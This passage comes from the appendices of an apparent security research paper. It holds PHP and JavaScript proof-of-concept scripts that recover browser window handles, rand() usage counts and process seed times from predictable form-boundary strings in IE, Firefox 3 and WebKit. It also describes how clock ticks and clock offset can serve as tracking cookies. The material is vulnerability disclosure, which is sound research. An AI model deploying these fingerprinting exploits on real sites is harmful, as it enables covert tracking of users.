<input type="hidden" name="r1"> 
<input type="hidden" name="r2"> 
<input type="hidden" name="t"> 
<input type="submit" name="dummy" value="Calculate Chrome (Windows) process startup 
time and CRT mileage"> 
</form> 
<script> 
function f() 
{ 
 document.forms[0].r1.value=Math.random()*Math.pow(2,30); 
 document.forms[0].r2.value=Math.random()*Math.pow(2,30) 
 document.forms[0].t.value=(new Date()).getTime()/1000; 
 return true; 
} 
</script> 
</body> 
</html> 
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Appendix B1 – IE hwnd extraction using time field 

reconstruction 

The following PHP script extracts the current window hwnd and displays it. On 

very slow machines, it may fail. The hwnd extracted can be compared to the 

window handle number reported by e.g. Spy++ for the IEFrame window. 

 

<?php 

define("TICK_TIME",15.625); 

define("TICK_TOLERANCE",4); 

 

if (isset($_REQUEST['t'])) 

{ 

 $m=intval(substr($_REQUEST['t'],-3)); 

 $t=intval(substr($_REQUEST['t'],0,-3)); 

 $offset=array(); 

  

 // Allow up to TICK_TOLERANCE ticks between JS sampling of time  

 // and actual form submission. Additionally, allow up to 1ms adjustment. 

 for ($i=0;$i<=TICK_TOLERANCE;$i++) 

 { 

  $offset[intval(floor(TICK_TIME*$i))]=TRUE; 

  $offset[intval(floor(TICK_TIME*$i))-1]=TRUE; 

  $offset[intval(ceil(TICK_TIME*$i))]=TRUE; 

  $offset[intval(ceil(TICK_TIME*$i))+1]=TRUE; 

 } 

  

 // Serialize each possible offset and check if it's a prefix  

 // of the boundary value 

 $count=0; 

 foreach ($offset as $o => $dummy) 

 { 

  $m_eff=$m+$o; 

  $t_eff=$t; 

  if ($m_eff>=1000) 

  { 

   $t_eff++; 

   $m_eff-=1000; 

  } 

  $parsed_t=getdate($t_eff); 

  $prefix="---------------------------". 

    dechex($parsed_t['year']). 

    dechex($m_eff). 

    dechex($parsed_t['seconds']); 

  if (strpos($_SERVER['CONTENT_TYPE'],$prefix)) 

  { 

   if (isset($hwnd)) 

   { 

    echo "Oops - ambiguous hwnd (try again...)"; 

    exit; 

   } 

   else 

   {  

    $hwnd=substr($_SERVER['CONTENT_TYPE'], 

      strpos($_SERVER['CONTENT_TYPE'],$prefix)+ 

      strlen($prefix)); 

   } 

  } 

 } 
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 if (isset($hwnd)) 

 { 

  echo "hwnd = 0x".substr("00000000",strlen($hwnd)).$hwnd."<br>\n"; 

 } 

 else 

 { 

  echo "Oops - no matches (non-IE?)"; 

 } 

} 

?> 

<html> 

<body> 

<form method="POST" enctype="multipart/form-data" onSubmit="f()"> 

<input type="hidden" name="t"> 

<input type="submit" name="dummy" value="Calculate IE hwnd"> 

</form> 

<script> 

function f() 

{ 

 document.forms[0].t.value=(new Date()).getTime(); 

} 

</script> 

</body> 

</html> 
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Appendix B2 – Firefox 3 CRT mileage extraction 

(Windows) 

This PHP script uses PHP’s BCMath package for some arithmetic calculations. 

 

<?php 

// Integer arithmetic suffices 

bcscale(0); 

 

// 2^31 

$two_31=bcpow(2,31); 

 

function adv_state($state) 

{ 

 global $two_31; 

 // Return (214013*$state+2531011) mod 2^31 

 return bcmod(bcadd(bcmul(214013,$state),2531011),$two_31); 

} 

 

function get_rand($state) 

{ 

 // Return ($state>>16) by dividing by 2^16 == 0x10000. 

 // To force rounding down, first subtract the remainder, then divide. 

 return bcdiv(bcsub($state,bcmod($state,0x10000)),0x10000); 

} 

 

function find_mileage($boundary,$max_hops) 

{ 

 $output=array(); 

 $state=1; 

 for ($init=0;$init<3;$init++) 

 { 

  $state=adv_state($state); 

  array_push($output,get_rand($state)); 

 } 

 for ($k=0;$k<$max_hops;$k++) 

 { 

  if ($boundary===$output[0].$output[1].$output[2]) 

  { 

   return $k; 

  } 

  $state=adv_state($state); 

  array_push($output,get_rand($state)); 

  array_shift($output); 

 } 

 

 return NULL; 

} 

 

if (isset($_SERVER['CONTENT_TYPE'])) 

{ 

 $ct=$_SERVER['CONTENT_TYPE']; 

 $prefix="boundary=---------------------------"; 

 $boundary=substr($ct,strpos($ct,$prefix)+strlen($prefix)); 

 

 $mileage=find_mileage($boundary,100000); 

 echo "CRT_mileage: $mileage<br>\n"; 

} 
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?> 

<html> 

<body> 

<br> 

<form method="POST" enctype="multipart/form-data"> 

<input type="submit" name="dummy" value="Calculate Firefox 3 (Windows) CRT mileage"> 

</form> 

</body> 

</html> 
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Appendix B3 – Firefox 3 CRT mileage extraction 

(Mac OS/X) 

This PHP script uses PHP’s BCMath package for some arithmetic calculations. 

 

<?php 

// Integer arithmetic suffices 

bcscale(0); 

 

// 2^31-1 

$two_31_minus_1=bcsub(bcpow(2,31),1); 

 

function adv_state($state) 

{ 

 global $two_31_minus_1; 

 // Return (7^5*$state) mod 2^31-1 

 return bcmod(bcmul(16807,$state),$two_31_minus_1); 

} 

 

function find_mileage($boundary,$max_hops) 

{ 

 $output=array(); 

 $state=1; 

 for ($init=0;$init<3;$init++) 

 { 

  $state=adv_state($state); 

  array_push($output,$state); 

 } 

 for ($k=0;$k<$max_hops;$k++) 

 { 

  if ($boundary===$output[0].$output[1].$output[2]) 

  { 

   return $k; 

  } 

  $state=adv_state($state); 

  array_push($output,$state); 

  array_shift($output); 

 } 

 

 return NULL; 

} 

 

if (isset($_SERVER['CONTENT_TYPE'])) 

{ 

 $ct=$_SERVER['CONTENT_TYPE']; 

 $prefix="boundary=---------------------------"; 

 $boundary=substr($ct,strpos($ct,$prefix)+strlen($prefix)); 

 

 $mileage=find_mileage($boundary,100000); 

 echo "CRT_mileage: $mileage<br>\n"; 

} 

?> 

<html> 

<body> 

<br> 

<form method="POST" enctype="multipart/form-data"> 

<input type="submit" name="dummy" value="Calculate Firefox 3 (Mac OS/X) CRT mileage"> 

</form> 
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</body> 

</html> 
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Appendix B4 – WebKit (Safari, Chrome) process 

first rand() invocation time and CRT mileage 

extraction (Windows) 

This PHP script uses PHP’s BCMath package for some arithmetic calculations. It 

may take few seconds to run. 

 

<?php 
define("MAX_AGE",2*86400); 
define("MAX_MILEAGE",1000); 
 
$charmap=array( 
 0x41, 0x42, 0x43, 0x44, 0x45, 0x46, 0x47, 0x48, 
 0x49, 0x4A, 0x4B, 0x4C, 0x4D, 0x4E, 0x4F, 0x50, 
 0x51, 0x52, 0x53, 0x54, 0x55, 0x56, 0x57, 0x58, 
 0x59, 0x5A, 0x61, 0x62, 0x63, 0x64, 0x65, 0x66, 
 0x67, 0x68, 0x69, 0x6A, 0x6B, 0x6C, 0x6D, 0x6E, 
 0x6F, 0x70, 0x71, 0x72, 0x73, 0x74, 0x75, 0x76, 
 0x77, 0x78, 0x79, 0x7A, 0x30, 0x31, 0x32, 0x33, 
 0x34, 0x35, 0x36, 0x37, 0x38, 0x39, 0x2B, 0x41 
); 
 
$two_30=bcpow(2,30); 
 
function find_state($boundary) 
{ 
 global $charmap; 
 global $two_30; 
  
 $reverse_charmap=array(); 
 for ($i=0;$i<64;$i++) 
 { 
  $reverse_charmap[chr($charmap[$i])]=$i; 
 } 
 
 for ($i=0;$i<4;$i++) 
 { 
  if ((substr($boundary,4*$i,1)!='A')||(substr($boundary,4*$i+1,1)!='A')) 
  { 
   // Error - two high bytes in each 32-bit word should be 0 in  

// Windows's rand() result. 
   return NULL; 
  } 
 } 
 
 $high_byte=array(); 
 if (substr($boundary,2,1)=='A') 
 { 
  array_push($high_byte,0); 
  array_push($high_byte,0x3F); 
 } 
 else 
 { 
  array_push($high_byte,$reverse_charmap[substr($boundary,2,1)]); 
 } 
  
 $low_byte=array(); 
 for ($q=0;$q<0x100;$q+=0x40) 
 { 
  if (substr($boundary,3,1)=='A') 
  { 
   array_push($low_byte,0+$q); 
   array_push($low_byte,0x3F+$q); 
  } 
  else 
  { 
   array_push($low_byte, 

$reverse_charmap[substr($boundary,3,1)]+$q); 
  } 
 } 
 
 for ($hb=0;$hb<count($high_byte);$hb++) 
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 { 
  for ($lb=0;$lb<count($low_byte);$lb++) 
  { 
    
   $a=($high_byte[$hb]<<8)|$low_byte[$lb]; 
   for ($v=0;$v<0x10000;$v++) 
   { 
    $x=($a<<16)|$v; 
    for ($u=1;$u<4;$u++) 
    { 
     $x=bcmod(bcadd(bcmul(214013,$x), 

"2531011"),$two_30); 
     $r=($x>>16)&0x7FFF; 
     if ((chr($charmap[($r>>8)&0x3F])!= 

substr($boundary,4*$u+2,1)) ||  
      (chr($charmap[$r & 0x3F])!= 

substr($boundary,4*$u+3,1))) 
     { 
      break; 
     } 
    } 
    if ($u<4) 
    { 
     // no match 
     continue; 
    } 
    // found a match! 
    if (isset($state)) 
    { 
     // ambiguous 
     return NULL; 
    } 
    else 
    { 
     $state=$x; 
    } 
   } 
  } 
 } 
 if (isset($state)) 
 { 
  return $state; 
 } 
 else 
 { 
  // no match 
  return NULL; 
 } 
} 
 
function prev_state($state) 
{ 
 global $two_30; 
 
 // 968044885 * 214013 - 192946 * 1073741824 = 1 
 $state=bcmod(bcadd($state,bcsub($two_30,"2531011")),$two_30); 
 $state=bcmod(bcmul("968044885",$state),$two_30); 
 return $state; 
} 
  
if (isset($_SERVER['CONTENT_TYPE'])) 
{ 
 $prefix="----WebKitFormBoundary"; 
 if (strpos($_SERVER['CONTENT_TYPE'],$prefix)) 
 { 
  $boundary=substr($_SERVER['CONTENT_TYPE'], 

strpos($_SERVER['CONTENT_TYPE'],$prefix)+ 
strlen($prefix)); 

  $state=find_state($boundary); 
  $t=$_REQUEST['t']; 
  for ($i=0;$i<MAX_MILEAGE+3;$i++) 
  { 
   $state=prev_state($state); 
   $seed_time=$state|0x40000000; 
   if ((bccomp($seed_time,$t)<=0) && 

 (bccomp($seed_time,bcsub($t,MAX_AGE))==1)) 
   { 
    $str_t=gmdate("r",$seed_time); 
    echo "seed_time=$seed_time “; 

echo “[seconds since Epoch, GMT ($str_t)], “; 
echo “CRT_mileage: ".($i-3)." [rand() invocations]<br>"; 

    break; 
   } 
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  } 
  if (! isset($str_t)) 
  { 
   echo "Could not find seed time<br>"; 
   exit; 
  } 
 } 
} 
?> 
<html> 
<body> 
<form method="POST" onSubmit="f()" enctype="multipart/form-data"> 
<input type=hidden name="t"> 
<input type="submit" name="dummy" value="Calculate WebKit (Windows) first rand() 
invocation time and CRT_mileage"> 
</form> 
<script> 
function f() 
{ 
 document.forms[0].t.value=(new Date()).getTime()/1000; 
} 
</script> 
</body> 
</html> 
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Appendix C – Tick extraction (IE and Safari, 

Windows) 

The below code is an example of how the tick time can be extracted at the client 

side, using Javascript (works with Internet Explorer and Apple Safari for 

Windows). Function find_tick() can be copied from here and used anywhere in 

which the tick time is needed, e.g. it can compute the tick time and embed it in a 

form which is later submitted to the server. 

 

<html> 
<body> 
<script> 
function find_tick() 
{ 
 var tick=Array(10.0144,15.625); 
 var last_t=(new Date()).getTime(); 
 for (c=0;((c<10)||(tick.length>1));c++) 
 { 
  var t; 
  while((t=(new Date()).getTime())==last_t); 
    
  for (i=0;i<tick.length;i++) 
  { 
   var n=Math.round((t-last_t)/tick[i]); 
   var d=Math.abs(t-(last_t+n*tick[i])); 
   // d should be <1, but clock tick adjustment may take it  
   // 1ms away (assuming no more than 1 second elapses in  
   // between samples) 
   if (d>=2) 
   { 
    tick.splice(i,1); 
    i--; 
   } 
  } 
  if (tick.length==0) 
  { 
   break; 
  } 
  last_t=t; 
 } 
 if (tick.length==1) 
 { 
  return tick[0]; 
 } 
 else 
 { 
  return -1; 
 } 
} 
 
var tk=find_tick(); 
if (tk!=-1) 
{ 
 alert("tick="+find_tick()+"ms"); 
} 
else 
{ 
 alert("Can't find tick period - maybe this isn't Windows+IE/Safari?"); 
} 
</script> 
</body> 
</html> 
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Appendix D – Client clock offset as a (very weak) 

global cookie 

An individual computer has clock time that can be easily sampled via client side 

Javascript, in granularity of clock ticks (in Windows). This clock can be compared 

to the attacker’s server clock (by means of the client sending the clock reading 

via HTTP to the server), and the client clock offset can be estimated. This yields a 

very weak “cookie” – two computers may be distinguished by their clock offset, 

and the same computer can be detected by nearly identical clock offset. This 

observation is not specific to any browser – it can be applied to all browsers (and 

in fact, across browsers in the same PC). 

Assuming that the clock offset range is unlikely to span more than 60 seconds 

(i.e. that computers in general show more or less the same time), and that the 

accuracy of delay measurement over the Internet is in the order of magnitude of 

100 milliseconds, this yields around 9 bits of information. 

There are complications, though: 

• Computers which use synchronization mechanisms (e.g. the Windows 

Time service) periodically adjust their clock, thereby “losing” the cookie. 

• Delay patterns change over time, which may cause cookie “loss” 

 

The situation is somewhat more interesting when two windows on the same 

computer send HTTP requests to the attacker server simultaneously (a-la section 

4.1). In such case, the difference in arrival time is smaller than the deviations in 

arrival time of unrelated separate requests (because the two simultaneous 

requests go through exactly the same network “weather”). In such case, the 

deviation can be few dozen milliseconds, yielding around 11 bits of information.  

One may think that with more samples, more accuracy can be obtained, because 

two windows on the same computer will always generate “close hits”, whereas 

two windows on two different computers may have their hits disparate due to 

different network latency and variations thereof. But this is not the case when the 

two computers are on the same LAN, or behind the same firewall. In such case, 

they experience more-or-less the same “network weather” along the path, so the 

variations will be similar. In such case, the only piece of information that can 

differentiate between the two scenarios is the clock offset. 

 


